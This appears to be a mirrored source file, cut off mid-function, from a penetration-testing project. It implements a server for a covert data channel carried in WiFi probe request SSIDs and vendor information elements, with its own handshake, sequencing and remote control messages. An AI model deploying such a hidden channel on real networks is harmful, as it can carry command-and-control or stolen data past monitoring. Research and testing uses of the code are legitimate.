mirror of
https://github.com/RoganDawes/P4wnP1_aloa.git
synced 2025-03-18 05:41:55 +01:00
1212 lines
40 KiB
Python
Executable File
1212 lines
40 KiB
Python
Executable File
#!/usr/bin/python
|
|
from __future__ import print_function
|
|
|
|
|
|
import logging
|
|
import sys
|
|
import time
|
|
import socket
|
|
import os
|
|
import Queue
|
|
from enum import Enum
|
|
from threading import Thread, Event
|
|
from select import select
|
|
from mame82_util import *
|
|
|
|
NETLINK_USERSOCK = 2
|
|
NETLINK_ADD_MEMBERSHIP = 1
|
|
SOL_NETLINK = 270
|
|
|
|
nlgroup = 21
|
|
|
|
# ToDo:
|
|
# - change manual string substitution for debug out to use the substitution of logging module
|
|
# - connection reset for invalid packets
|
|
|
|
logging.basicConfig(stream=sys.stderr, level=logging.INFO)
|
|
|
|
class Helper:
|
|
@staticmethod
|
|
def s2hex(s):
|
|
#return "".join(map("0x%2.2x ".__mod__, map(ord, s)))
|
|
return "".join(map("%2.2x".__mod__, map(ord, s)))
|
|
|
|
@staticmethod
|
|
def s2mac(s):
|
|
s = Helper.s2hex(s)
|
|
res = ""
|
|
for i in range(0, 12, 2):
|
|
res += s[i:i+2]
|
|
if i < 10:
|
|
res += ":"
|
|
return res
|
|
|
|
|
|
class Packet:
|
|
CTLM_TYPE_CON_INIT_REQ1 = 1
|
|
CTLM_TYPE_CON_INIT_RSP1 = 2
|
|
CTLM_TYPE_CON_INIT_REQ2 = 3
|
|
CTLM_TYPE_CON_INIT_RSP2 = 4
|
|
CTLM_TYPE_CON_RESET = 5
|
|
CTLM_TYPE_RESET_LISTENING_PROC = 6 # tells the Client to restart the process which is bound to the socket, ignored by server (misplaced application layer message)
|
|
CTLM_TYPE_CLEAR_QUEUES = 7 # tells the receiver to clear inbound and outbound queue of ClientSocket
|
|
CTLM_TYPE_KILL_CLIENT = 8 # tells the client to exit
|
|
CTLM_TYPE_SET_CLIENT_POLL_INTERVALL = 9 # currently unused
|
|
|
|
CON_RESET_REASON_UNSPECIFIED = 0
|
|
CON_RESET_REASON_INVALID_CLIENT_ID = 1
|
|
|
|
PAY1_MAX_LEN = 27
|
|
PAY2_MAX_LEN = 236
|
|
|
|
# Data encoding
|
|
#
|
|
# SSID - 32 BYTES (pay1)
|
|
# ----------------------
|
|
# byte 0: pay1[0], if FlagControlMessage is set CTRL_TYPE
|
|
# byte 1..26: pay1[0..27]
|
|
# byte 27 ack
|
|
# byte 28 seq
|
|
# byte 29 flag_len bits: 0 = FlagControlMessage, 1 = reserved, 2 = reserved, 3-7 = len_pay1
|
|
# byte 30 clientID_srvID bits: 0..3 = clientID, 4..7 = srvID
|
|
# byte 31 chk_pay1: 8 bit checksum
|
|
#
|
|
# Vendor Specific IE - 238 BYTES (pay2), could be missing
|
|
# -----------------------------------------------------
|
|
#
|
|
# byte 0..235 pay2
|
|
# byte 236 len_pay2:
|
|
# byte 237 chk_pay2: 8 bit checksum
|
|
|
|
def __init__(self):
|
|
self.sa = "" # 80211 SA
|
|
self.da = "" # 80211 DA
|
|
self.clientID = 0 # logical source (as we use scanning, on some devices the 802.11 SA could change and isn't reliable)
|
|
self.srvID = 0 # logical destination
|
|
self.pay1 = "" # encoded in SSID
|
|
self.pay2 = None # encoded in vendor IE (optional, only if possible)
|
|
self.seq = 0
|
|
self.ack = 0
|
|
self.FlagControlMessage = False # If set, the payload contains a control message, pay1[0] is control message type
|
|
self.ctlm_type = 0
|
|
|
|
@staticmethod
|
|
def generateResetPacket(req, srvID, resetReason, seq=-1):
|
|
# type: (Packet,int,int,int) -> Packet
|
|
|
|
resp = Packet()
|
|
resp.da = req.sa
|
|
resp.pay1 = chr(Packet.CTLM_TYPE_CON_RESET) + chr(resetReason)
|
|
resp.FlagControlMessage = True
|
|
resp.ctlm_type = Packet.CTLM_TYPE_CON_RESET
|
|
if seq == -1:
|
|
resp.seq = (req.ack + 1) & 0xFF
|
|
else:
|
|
resp.seq = seq
|
|
resp.srvID = srvID
|
|
resp.ack = req.seq
|
|
resp.clientID = req.clientID
|
|
return resp
|
|
|
|
@staticmethod
|
|
def parse2packet(sa, da, raw_ssid_data, raw_ven_ie_data=None):
|
|
packet = Packet()
|
|
|
|
packet.sa = sa
|
|
packet.da = da
|
|
|
|
if raw_ven_ie_data != None:
|
|
pay2_len = ord(raw_ven_ie_data[236])
|
|
packet.pay2 = raw_ven_ie_data[:pay2_len]
|
|
|
|
packet.ack = ord(raw_ssid_data[27])
|
|
packet.seq = ord(raw_ssid_data[28])
|
|
|
|
flag_len = ord(raw_ssid_data[29])
|
|
packet.FlagControlMessage = (flag_len & 0x80) != 0
|
|
if packet.FlagControlMessage:
|
|
packet.ctlm_type = ord(raw_ssid_data[0])
|
|
pay1_len = flag_len & 0x1F
|
|
packet.pay1 = raw_ssid_data[:pay1_len]
|
|
|
|
clientID_srvID = ord(raw_ssid_data[30])
|
|
packet.clientID = clientID_srvID >> 4
|
|
packet.srvID = clientID_srvID & 0x0F
|
|
|
|
return packet
|
|
|
|
def generateRawSsid(self, with_TL=True):
|
|
payload = self.pay1[:Packet.PAY1_MAX_LEN] # truncate, ToDo: warn if payload too large
|
|
if self.FlagControlMessage:
|
|
payload = chr(self.ctlm_type) + self.pay1[1:Packet.PAY1_MAX_LEN]
|
|
pay_len = len(payload)
|
|
out = payload + (Packet.PAY1_MAX_LEN - pay_len) * "\x00" # pad with zeroes
|
|
|
|
# ack_seq
|
|
#ack_seq = (self.ack << 4) | (self.seq & 0x0F)
|
|
#out += chr(ack_seq)
|
|
out += chr(self.ack)
|
|
out += chr(self.seq)
|
|
|
|
# flag_len
|
|
flag_len = pay_len
|
|
if self.FlagControlMessage:
|
|
flag_len += 0x80
|
|
out += chr(flag_len)
|
|
|
|
|
|
# clientID_srvID
|
|
clientID_srvID = (self.clientID << 4) | (self.srvID & 0x0F)
|
|
out += chr(clientID_srvID)
|
|
|
|
# chksum
|
|
chk = Packet.simpleChecksum8(out)
|
|
out += chr(chk)
|
|
|
|
if with_TL:
|
|
out = "\x00\x20" + out
|
|
return out
|
|
|
|
def generateRawVenIe(self, with_TL=True):
|
|
if self.pay2 == None:
|
|
return None
|
|
|
|
payload = self.pay2[:236] # truncate, ToDo: warn if payload too large
|
|
pay_len = len(payload)
|
|
out = payload + (236 - pay_len) * "\x00" # pad with zeroes
|
|
|
|
# build len_id octet
|
|
length = len(payload)
|
|
out += chr(length)
|
|
|
|
# calculate checksum
|
|
chk = Packet.simpleChecksum8(out)
|
|
out += chr(chk)
|
|
|
|
if with_TL:
|
|
# add SSID type and length
|
|
out = "\xDD\xEE" + out # type 221, length 238
|
|
|
|
return out
|
|
|
|
@staticmethod
|
|
def checkLengthChecksum(raw_ssid_data, raw_ven_ie_data=None):
|
|
if len(raw_ssid_data) != 32:
|
|
return False
|
|
if ord(raw_ssid_data[31]) != Packet.simpleChecksum8(raw_ssid_data, 31):
|
|
return False
|
|
if raw_ven_ie_data != None:
|
|
if len(raw_ven_ie_data) != 238:
|
|
return False
|
|
if ord(raw_ven_ie_data[237]) != Packet.simpleChecksum8(raw_ven_ie_data, 237):
|
|
return False
|
|
return True
|
|
|
|
def print_out(self):
|
|
logging.debug("Packet")
|
|
logging.debug("\tSA:\t{0}".format(self.sa))
|
|
logging.debug("\tDA:\t{0}".format(self.da))
|
|
logging.debug("\tClientID:\t{0}".format(self.clientID))
|
|
logging.debug("\tsrvID:\t{0}".format(self.srvID))
|
|
|
|
logging.debug("\tSSID payload len:\t{0}".format(len(self.pay1)))
|
|
logging.debug("\tSSID payload:\t{0}".format(Helper.s2hex(self.pay1)))
|
|
if self.pay2 == None:
|
|
logging.debug("\tVendor IE:\tNone")
|
|
else:
|
|
logging.debug("\tVendor IE payload len:\t{0}".format(len(self.pay2)))
|
|
logging.debug("\tVendor IE payload:\t{0}".format(Helper.s2hex(self.pay2)))
|
|
logging.debug("\tFlag Control Message:\t{0}".format(self.FlagControlMessage))
|
|
if self.FlagControlMessage:
|
|
logging.debug("\tCTLM_TYPE:\t{0}".format(self.ctlm_type))
|
|
logging.debug("\tSEQ:\t{0}".format(self.seq))
|
|
logging.debug("\tACK:\t{0}".format(self.ack))
|
|
|
|
@staticmethod
|
|
def simpleChecksum16(input, len_to_include=-1):
|
|
sum = 0
|
|
if len_to_include == -1:
|
|
len_to_include = len(input)
|
|
|
|
for off in range(len_to_include):
|
|
sum += ord(input[off])
|
|
sum %= 0xFFFF
|
|
|
|
sum = ~sum
|
|
|
|
return [(sum >> 8) & 0xFF, sum & 0xFF]
|
|
|
|
|
|
@staticmethod
|
|
def simpleChecksum8(input, len_to_include=-1):
|
|
sum = 0
|
|
if len_to_include == -1:
|
|
len_to_include = len(input)
|
|
|
|
for off in range(len_to_include):
|
|
sum += ord(input[off])
|
|
sum &= 0xFF
|
|
|
|
sum = ~sum
|
|
|
|
return sum & 0xFF
|
|
|
|
|
|
class ConnectionQueue:
|
|
def __init__(self, max_connections=15):
|
|
self.__available_client_IDs = []
|
|
self.__queued_connections = []
|
|
self.__wait_accept_state_change = Event() # is triggered, when a connection changes to pending_accept or from pending_accept to another state
|
|
self.__wait_accept_state_change.clear()
|
|
for ID in range(max_connections):
|
|
self.__available_client_IDs.insert(0, ID+1)
|
|
self.max_connections = max_connections
|
|
|
|
def __handleConnectionStateChange(self, csock, oldstate, newstate):
|
|
# type: (ClientSocket, int, int)
|
|
|
|
logging.debug("Connection clientID {0}, old state: {1}, new state {2}".format(csock.clientID, oldstate, newstate))
|
|
|
|
if newstate == ClientSocket.STATE_PENDING_ACCEPT or oldstate == ClientSocket.STATE_PENDING_ACCEPT:
|
|
# Trigger event when a connection enters or leaves pending_accept state
|
|
self.__wait_accept_state_change.set()
|
|
|
|
if newstate == ClientSocket.STATE_CLOSE:
|
|
print("State transfer to CLOSE for Client ID: {0}, IV: {1}".format(csock.clientID, csock.clientIV))
|
|
# remove connection from queue
|
|
# delete closed ClientSockets
|
|
self.deleteClosedConnections()
|
|
|
|
def waitForPendingAcceptStateChange(self):
|
|
while not self.__wait_accept_state_change.isSet():
|
|
# interrupted passive wait (interrupt to allow killing thread)
|
|
self.__wait_accept_state_change.set()
|
|
|
|
self.__wait_accept_state_change.clear()
|
|
|
|
def provideNewClientSocket(self, srvID):
|
|
try:
|
|
clientID = self.__available_client_IDs.pop()
|
|
except IndexError:
|
|
# no more client IDs left
|
|
return None
|
|
newcon = ClientSocket(srvID, self.__handleConnectionStateChange)
|
|
newcon.clientID = clientID
|
|
|
|
# add to internal queue data
|
|
self.__queued_connections.append(newcon)
|
|
|
|
# return none if no new client is available
|
|
return newcon
|
|
|
|
def getConnectionListByState(self, con_state):
|
|
res = []
|
|
for con in self.__queued_connections:
|
|
if con.state == con_state:
|
|
res.append(con)
|
|
return res
|
|
|
|
def getConnectionByClientIV(self, clientIV):
|
|
res = None
|
|
for con in self.__queued_connections:
|
|
if con.clientIV == clientIV:
|
|
res = con
|
|
break
|
|
return res
|
|
|
|
def getConnectionByClientID(self, clientID):
|
|
res = None
|
|
for con in self.__queued_connections:
|
|
if con.clientID == clientID:
|
|
res = con
|
|
break
|
|
return res
|
|
|
|
def deleteClosedConnections(self):
|
|
closeList = []
|
|
for con in self.__queued_connections:
|
|
if con.state == ClientSocket.STATE_CLOSE:
|
|
closeList.append(con)
|
|
|
|
count = 0
|
|
for con in closeList:
|
|
print("Removed closed socket for clientID: {0}, clientIV: {1}".format(con.clientID, con.clientIV))
|
|
self.__queued_connections.remove(con)
|
|
self.__available_client_IDs.insert(con.clientID, con.clientID) # add client Id of deleted sock back to list of availabl IDs (at position of ID itself)
|
|
count += 1
|
|
if count > 0:
|
|
print("Removed {0} closed connections".format(count))
|
|
return count
|
|
|
|
|
|
class ClientSocket(object):
|
|
MTU_WITH_VEN_IE = Packet.PAY1_MAX_LEN + Packet.PAY2_MAX_LEN # 28 bytes netto SSID payload + 236 bytes netto vendor ie payload
|
|
MTU_WITHOUT_VEN_IE = Packet.PAY1_MAX_LEN
|
|
|
|
STATE_CLOSE = 1 # communication possible
|
|
STATE_PENDING_OPEN = 2 # connection init started but not done
|
|
STATE_PENDING_ACCEPT = 3 # connection init done, but connection not accepted
|
|
STATE_OPEN = 4 # connection be used for communication
|
|
STATE_PENDING_CLOSE = 5 # connection is being transfered to close state
|
|
STATE_DELETE = 6 # connection is ready to be deleted
|
|
|
|
def __init__(self, srvID, stateChangeCallback=None):
|
|
self.stateChangeCallback = stateChangeCallback
|
|
self.__state = ClientSocket.STATE_CLOSE
|
|
self.srvID = srvID
|
|
self.clientID = 0 # client ID in use for this connection
|
|
self.clientIV = 0 # random 32 bit IV used by the client during connection_init
|
|
self.clientIVBytes = None # random 32 bit IV used by the client during connection_init
|
|
self.clientSA = None # Source address used by client IN FIRST CONNECT (could change during scans and isn't updated)
|
|
self.txVenIeAllowed = False # if true vendor IE could be used when transmitting to client
|
|
self.rxVenIePossible = False # if true vendor IE could be received from client
|
|
self.mtu = ClientSocket.MTU_WITH_VEN_IE # mtu (depending on txVenIeAllowed)
|
|
self.last_rx_packet = None
|
|
self.tx_packet = None
|
|
self.clientSocket = None
|
|
self.__in_queue = Queue.Queue()
|
|
self.__out_queue = Queue.Queue()
|
|
self.__out_queue_ctlm = Queue.Queue()
|
|
|
|
@property
|
|
def state(self):
|
|
return self.__state
|
|
|
|
@state.setter
|
|
def state(self, value):
|
|
# this setter could be used to assure valid state transfers
|
|
oldstate = self.__state
|
|
if value == oldstate:
|
|
# no state transfer
|
|
return
|
|
self.__state = value
|
|
if self.stateChangeCallback != None:
|
|
self.stateChangeCallback(self, oldstate, value)
|
|
|
|
def shutdown(self):
|
|
# send reset
|
|
# change state to close
|
|
pass
|
|
|
|
def read(self, bufsize, block=False):
|
|
if self.state != ClientSocket.STATE_OPEN:
|
|
return ""
|
|
|
|
if not self.hasInData():
|
|
return ""
|
|
|
|
len_received = 0
|
|
len_chunk = 0
|
|
current_chunk = None
|
|
buf = ""
|
|
|
|
while len_received < bufsize:
|
|
if self.__in_queue.qsize() == 0:
|
|
break # stop if no more data in inqueue
|
|
|
|
# Caution: This isn't thread safe, as a new element could be put() on the queue by the input_handler AFTER WE STORED len_chunk
|
|
# ToDo: put a thread LOCK on queue before length check
|
|
len_chunk = len(self.__in_queue.queue[0])
|
|
|
|
if (len_chunk + len_received) > bufsize:
|
|
break # abort, as we would exceed the gicen buffer size (before popping from queue)
|
|
|
|
current_chunk = self.__in_queue.get()
|
|
|
|
if len(current_chunk) == 0:
|
|
# break after popping from queue
|
|
break # zero len payload indicates EOF, has to be replaced by dedicated CTLM_TYPE (no priority, arriving in order)
|
|
|
|
buf += current_chunk
|
|
len_received += len(current_chunk)
|
|
|
|
return buf
|
|
|
|
|
|
def sendCtlMessage(self, ctlm_type, data):
|
|
self.__pushOutboundCtrlMsg(ctlm_type, data[:self.mtu])
|
|
|
|
# note: block parameter is currently always assumed to be True
|
|
def send(self, string, block=True):
|
|
for off in range(0, len(string), self.mtu):
|
|
chunk = string[off:off+self.mtu]
|
|
self.__pushOutboundData(chunk)
|
|
|
|
def __pushOutboundCtrlMsg(self, ctlm_type, data, block=True):
|
|
# ToDo: check if valid ctlm_type
|
|
payload = chr(ctlm_type) + data
|
|
logging.debug("Pushing controlmessage type: {0}, outdata {1}".format(ctlm_type, data))
|
|
self.__out_queue_ctlm.put(payload, block=block)
|
|
|
|
def __pushOutboundData(self, data, block=True):
|
|
logging.debug("Pushing outdata {0}".format(data))
|
|
self.__out_queue.put(data, block=block)
|
|
|
|
def __popInboundData(self):
|
|
if self.hasInData():
|
|
return self.__in_queue.get()
|
|
else:
|
|
return ""
|
|
|
|
def disconnect(self, reason_code=Packet.CON_RESET_REASON_UNSPECIFIED):
|
|
reasonCodeChr = chr(reason_code)
|
|
self.sendCtlMessage(Packet.CTLM_TYPE_CON_RESET, reasonCodeChr)
|
|
self.state = ClientSocket.STATE_CLOSE
|
|
|
|
def hasInData(self):
|
|
# type: () -> bool
|
|
return self.__in_queue.qsize() > 0
|
|
|
|
def handleRequest(self, req):
|
|
# type: (Packet) -> Packet
|
|
|
|
|
|
# cases for connection reset (disconnect):
|
|
# 1) Everytime a client tries to connect (has to be handled in ServerSocket.handle_request)
|
|
# 1.1) delete all client_sockets in state CLOSE
|
|
# 1.2) If no socket deleted: transfer oldest* client_socket in state PENDING_OPEN to CLOSE + send reset
|
|
# 1.4) If no socket transfered to CLOSE: transfer *oldest client_socket in state PENDING_ACCEPT to CLOSE + send reset
|
|
# *oldest refers to duration since last data was received
|
|
# 2) DONE: req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ1 and (socket.state not CLOSE or PENDING_OPEN)
|
|
# 3) DONE: req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ2 and (state not (PENDING_ACCEPT or (OPEN with las_rx_packet==INIT_REQ2))
|
|
# 4) req.clientID isn't in use, but req.srvID is correct (has to be handled in ServerSocket.handle_request, happens when client continues sending after server restart)
|
|
# 5) req.seq is out of order (!= last_rx_packet.seq and != last_rx_packet.seq+1)
|
|
# --> possible double usage of ClientID, but as the current implementation doesn't allow out-of-order seq (ping pong communication),
|
|
# we could directly send a reset, which allows the client to re-initiate and receive a new client ID
|
|
# 6) req.ctlm_type == Packet.CTLM_TYPE_CON_RESET: send back CON_RESET_RESP and set state to CLOSE
|
|
# 7) user triggered (called disconnect)
|
|
|
|
#### CTLM handling ######
|
|
if req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ1:
|
|
# first con_init_req1 as socket is still in close state
|
|
if self.state == ClientSocket.STATE_CLOSE:
|
|
self.clientSA = req.sa # not usable as identifier for client !!!COULD CHANGE!!!
|
|
|
|
# generate response
|
|
resp = Packet()
|
|
resp.sa = "11:22:33:44:55:66"
|
|
resp.da = req.sa # direct probe response, even if SA changes
|
|
resp.pay1 = chr(Packet.CTLM_TYPE_CON_INIT_RSP1) + self.clientIVBytes
|
|
resp.pay2 = self.clientIVBytes
|
|
resp.FlagControlMessage = True
|
|
resp.ctlm_type = Packet.CTLM_TYPE_CON_INIT_RSP1
|
|
resp.seq = 1
|
|
# if we received a vendor IE, we inform the client by appending 0x02 at resp.pay1[5]
|
|
# if we aren't able to receive the vendor IE, we inform the client by appending 0x01 at resp.pay1[5]
|
|
if req.pay2 != None:
|
|
resp.pay1 += chr(2)
|
|
self.rxVenIePossible = True
|
|
else:
|
|
resp.pay1 += chr(1)
|
|
self.rxVenIePossible = False
|
|
# we hand out a new clientID to the pending (not yet established) connection
|
|
resp.clientID = self.clientID
|
|
resp.srvID = self.srvID
|
|
resp.ack = req.seq
|
|
|
|
self.tx_packet = resp
|
|
self.last_rx_packet = req
|
|
resp.print_out()
|
|
|
|
|
|
# transfer state of the connection
|
|
self.state = ClientSocket.STATE_PENDING_OPEN
|
|
|
|
return self.tx_packet
|
|
|
|
# repeated con_init_req1 as socket is already in pending_open state
|
|
elif self.state == ClientSocket.STATE_PENDING_OPEN and req.ack == 0:
|
|
logging.debug("Stage 1 init request of this client already added, sending stored response ...")
|
|
return self.tx_packet
|
|
else:
|
|
print("Invalid socket state {0} for CTLM_TYPE_CON_INIT_REQ1".format(self.state))
|
|
resp= Packet.generateResetPacket(req, self.srvID, Packet.CON_RESET_REASON_UNSPECIFIED, seq=1)
|
|
self.tx_packet = resp
|
|
self.last_rx_packet = req
|
|
self.state = ClientSocket.STATE_PENDING_CLOSE
|
|
return self.tx_packet
|
|
elif req.seq == 2 and req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ2:
|
|
if self.state == ClientSocket.STATE_PENDING_OPEN:
|
|
print("InReq2 from ClientID {0} ...".format(req.clientID))
|
|
|
|
resp = self.tx_packet # fetch old response
|
|
resp.ack = req.seq
|
|
resp.seq = 2
|
|
resp.ctlm_type = Packet.CTLM_TYPE_CON_INIT_RSP2
|
|
resp.pay1 = chr(Packet.CTLM_TYPE_CON_INIT_RSP2) + self.clientIVBytes
|
|
self.last_rx_packet = req
|
|
self.tx_packet = resp
|
|
|
|
if ord(req.pay1[5]) == 2:
|
|
# client received vendor IE in response1
|
|
self.txVenIeAllowed = True
|
|
self.mtu = ClientSocket.MTU_WITH_VEN_IE
|
|
elif ord(req.pay1[5]) == 1:
|
|
# client didn't receive vendor IE from response1
|
|
self.txVenIeAllowed = False
|
|
self.mtu = ClientSocket.MTU_WITHOUT_VEN_IE
|
|
else:
|
|
# req.pay1[5] invalid --> packet invalid
|
|
logging.debug("Received invalid information for ven IE receive caps from clientID {0}, dropped...", req.clientID)
|
|
return None
|
|
|
|
|
|
# Handover to accept() method !!
|
|
self.state = ClientSocket.STATE_PENDING_ACCEPT # done by event emitter in setter of state
|
|
|
|
print("... InRsp2: Client added to accept-queue.")
|
|
self.print_out()
|
|
|
|
return self.tx_packet
|
|
|
|
|
|
elif self.state == ClientSocket.STATE_PENDING_ACCEPT:
|
|
logging.debug("Connection in handover queue, resending stage2 response")
|
|
return self.tx_packet
|
|
elif self.state == ClientSocket.STATE_OPEN and self.last_rx_packet.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ2:
|
|
logging.debug("Resending stage2 response")
|
|
return self.tx_packet
|
|
else:
|
|
logging.debug("Invalid socket state {0} for CTLM_TYPE_CON_INIT_REQ2".format(self.state))
|
|
resp= Packet.generateResetPacket(req, self.srvID, Packet.CON_RESET_REASON_UNSPECIFIED, seq=2)
|
|
self.tx_packet = resp
|
|
self.last_rx_packet = req
|
|
self.state = ClientSocket.STATE_PENDING_CLOSE
|
|
return self.tx_packet
|
|
|
|
|
|
#### data handling ######
|
|
|
|
# rx.ack rx.seq action
|
|
# == tx.seq != last_rx.seq+1 --> tx.seq+=1, tx.ack = last_tx.ack, pack new outdata into resp payload
|
|
# == tx.seq == last_rx.seq+1 --> tx.seq+=1, tx.ack = rx.seq, pack new outdata into resp payload, put indata into input queue, update last_rx_packet
|
|
# != tx.seq != last_rx.seq+1 --> tx.seq = last_tx.seq, tx.ack = last_tx.ack , resend last_tx_packet
|
|
# != tx.seq == last_rx.seq+1 --> tx.seq = last_tx.seq, tx.ack = rx.seq, put indata into input queue, update last_rx_packet
|
|
|
|
# Note on flow control: PingPong, no slinding window, although it'd be usefull for bulk probe responses ... anyway, this is only a PoC
|
|
|
|
if not req.FlagControlMessage:
|
|
if self.state != ClientSocket.STATE_OPEN:
|
|
logging.debug("Ignored inbound data packet, as socket for client ID {0} isn't in OPEN state".format(self.clientID))
|
|
return None
|
|
|
|
# check if seq has advanced
|
|
if req.seq == ((self.last_rx_packet.seq + 1) & 0xFF):
|
|
# new input packet, push data to in_queue
|
|
indata = req.pay1
|
|
if req.pay2 != None:
|
|
indata += req.pay2
|
|
self.__in_queue.put(indata)
|
|
logging.debug("Enqueueing indata (client {0}): '{1}'".format(self.clientID, indata))
|
|
|
|
# update last packet
|
|
self.last_rx_packet = req
|
|
|
|
# update tx ack
|
|
self.tx_packet.ack = req.seq
|
|
|
|
# check if ack is fitting last transmitted seq, thus we could push a new outbound packet
|
|
if req.ack == self.tx_packet.seq:
|
|
# advance tx seq
|
|
self.tx_packet.seq += 1
|
|
self.tx_packet.seq &= 0xFF # modulo 256
|
|
|
|
|
|
outdata = ""
|
|
|
|
# before we send data, we check if we have pending outbound control messages (priority)
|
|
self.tx_packet.FlagControlMessage = False # only true if ctlm (false for empty heartbeat od data)
|
|
if self.__out_queue_ctlm.qsize() > 0:
|
|
outdata = self.__out_queue_ctlm.get()
|
|
self.tx_packet.ctlm_type = ord(outdata[0])
|
|
self.tx_packet.FlagControlMessage = True
|
|
# pop data from out_queue and update payload NOTE: data from queue should always be <= self.mtu
|
|
elif self.__out_queue.qsize() > 0:
|
|
outdata = self.__out_queue.get()
|
|
|
|
logging.debug("sending outdata in seq {1}: {0}".format(Helper.s2hex(outdata), self.tx_packet.seq))
|
|
|
|
# THIS SHOULD NEVER HAPPEN
|
|
if len(outdata) > self.mtu:
|
|
logging.debug("Error: Outdata has been truncate, because it was larger than MTU")
|
|
outdata = outdata[:self.mtu]
|
|
|
|
self.tx_packet.pay1 = outdata[:Packet.PAY1_MAX_LEN]
|
|
if len(outdata) > Packet.PAY1_MAX_LEN:
|
|
self.tx_packet.pay2 = outdata[Packet.PAY1_MAX_LEN:]
|
|
else:
|
|
self.tx_packet.pay2 = None
|
|
|
|
|
|
return self.tx_packet
|
|
|
|
|
|
|
|
|
|
def print_out(self):
|
|
logging.debug("Connection")
|
|
logging.debug("\tClientID:\t{0}".format(self.clientID))
|
|
logging.debug("\tClientIV bytes:\t{0}".format(Helper.s2hex(self.clientIVBytes)))
|
|
logging.debug("\tClientSA:\t{0}".format(self.clientSA))
|
|
logging.debug("\tTX vendor IE possible:\t{0}".format(self.txVenIeAllowed))
|
|
logging.debug("\tRX vendor IE possible:\t{0}".format(self.rxVenIePossible))
|
|
logging.debug("\tTX MTU:\t{0}".format(self.mtu))
|
|
|
|
|
|
class ServerSocket:
|
|
MAX_CONNECTIONS_LIMIT = 15 # more clients aren't allowed
|
|
__global_firmware_event_queue = None
|
|
__global_firmware_event_thread = None
|
|
__nl_in_socket = None
|
|
__nl_out_socket = None
|
|
__nl_out_socket_fd = None
|
|
__nl_thread_stop = Event()
|
|
|
|
|
|
def __init__(self):
|
|
self.nl_out_socket = None
|
|
|
|
self.__connection_queue = None
|
|
|
|
self.srvID = 7 # identifies the server (could be seen as IP, possible values 1..15)
|
|
self.max_connections = 7
|
|
self.isBound = False
|
|
self.isListening = False
|
|
|
|
@staticmethod
|
|
def eprint(message):
|
|
sys.stderr.write("WiFiSocket ERROR: "+message + "\n")
|
|
|
|
@staticmethod
|
|
def __parse_ies(s):
|
|
res = {}
|
|
if len(s) < 2:
|
|
return res
|
|
pos = 0
|
|
while pos < (len(s)-2):
|
|
t = ord(s[pos])
|
|
pos+=1
|
|
l = ord(s[pos])
|
|
pos+=1
|
|
v = s[pos:pos+l]
|
|
pos += l
|
|
res.update({t: [l, v]})
|
|
|
|
return res
|
|
|
|
|
|
def bind(self, srvID=7):
|
|
self.srvID = srvID
|
|
|
|
if ServerSocket.__global_firmware_event_queue == None:
|
|
ServerSocket.__global_firmware_event_queue = Queue.Queue()
|
|
|
|
if not ServerSocket.__nl_in_socket == None:
|
|
ServerSocket.eprint("bind() netlink multicast listener already running...")
|
|
self.isBound = True
|
|
return None
|
|
|
|
# open socket to receive multicast message from firmware
|
|
#########################################################
|
|
try:
|
|
s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_USERSOCK)
|
|
except socket.error:
|
|
ServerSocket.eprint("Error creating netlink socket for Firmware multicasts")
|
|
return None
|
|
|
|
# bind to kernel
|
|
s.bind((os.getpid(), 0))
|
|
|
|
# 270 is SOL_NETLINK and 1 is NETLINK_ADD_MEMBERSHIP
|
|
try:
|
|
s.setsockopt(SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, nlgroup)
|
|
except socket.error:
|
|
ServerSocket.eprint("Failed to attach to netlink multicast group {0}, try with root permissions".format(nlgroup))
|
|
return None
|
|
|
|
ServerSocket.__nl_in_socket = s
|
|
|
|
# open socket for unicat messages to firmware #
|
|
###############################################
|
|
s = nexconf.openNL_sock()
|
|
ServerSocket.__nl_out_socket = s # socket
|
|
ServerSocket.__nl_out_socket_fd = os.fdopen(s.fileno(), 'w+b') # writable FD
|
|
|
|
print("Bound to server ID {0}".format(self.srvID))
|
|
|
|
|
|
|
|
self.isBound = True
|
|
|
|
def unbind(self):
|
|
# stop event listener thread for Kernel NL multicasts
|
|
logging.debug("Stop listening for firmware events...")
|
|
self.__nl_thread_stop.set()
|
|
logging.debug("Unregistering firmware event listener")
|
|
ServerSocket.__nl_in_socket.close()
|
|
ServerSocket.__nl_out_socket_fd.close()
|
|
ServerSocket.__nl_out_socket.close()
|
|
self.isListening = False
|
|
self.isBound = False
|
|
|
|
|
|
def listen(self, max_connections=7):
|
|
if max_connections > ServerSocket.MAX_CONNECTIONS_LIMIT:
|
|
ServerSocket.eprint("Max connections limited to {0}, but {1} given on listen()".format(ServerSocket.MAX_CONNECTIONS_LIMIT, max_connections))
|
|
return
|
|
if not self.isBound:
|
|
ServerSocket.eprint("Socket isn't bound, listening not possible. Call bind() first.")
|
|
return
|
|
self.max_connections = max_connections
|
|
self.__connection_queue = ConnectionQueue(max_connections)
|
|
|
|
|
|
# start Thread which handles incoming probe events
|
|
ServerSocket.__global_firmware_event_thread = Thread(target = self.__firmware_event_reader, name = "WiFiSocket Firmware event thread", args = ( ))
|
|
ServerSocket.__global_firmware_event_thread.start()
|
|
|
|
self.isListening = True
|
|
print("Listening for incoming connections (max {0})".format(max_connections))
|
|
|
|
def __firmware_event_reader(self):
|
|
logging.debug("Listening for WiFi firmware events")
|
|
sfd = ServerSocket.__nl_in_socket.fileno()
|
|
|
|
while not ServerSocket.__nl_thread_stop.isSet():
|
|
|
|
|
|
# instead of blocking read, we poll the socket (blocking, but with timeout)
|
|
# this is used to keep the thread responsive in order to allow ending it (at least with a delay of read_timeout)
|
|
read_timeout = 0.5
|
|
sel = select([sfd], [], [], read_timeout) # test if readable data arrived on nl_socket, interrupt after timeout
|
|
if len(sel[0]) == 0:
|
|
# no data arrived
|
|
# print "No data"
|
|
continue
|
|
|
|
data = ServerSocket.__nl_in_socket.recvfrom(0xFFFF)[0]
|
|
|
|
# parse data
|
|
data = data[16:] # strip off nlmsghdr (16)
|
|
f80211_fc_type_subtype = data[0] # store FC
|
|
if f80211_fc_type_subtype != "\x40":
|
|
logging.debug("Firmware event received, but frame isn't a mgmt probe request")
|
|
continue
|
|
f80211_fc_flags = data[1] # store flags
|
|
f80211_duration = data[2:4] # store duration
|
|
f80211_da = data[4:10] # store destinatioon address
|
|
f80211_sa = data[10:16] # store source address
|
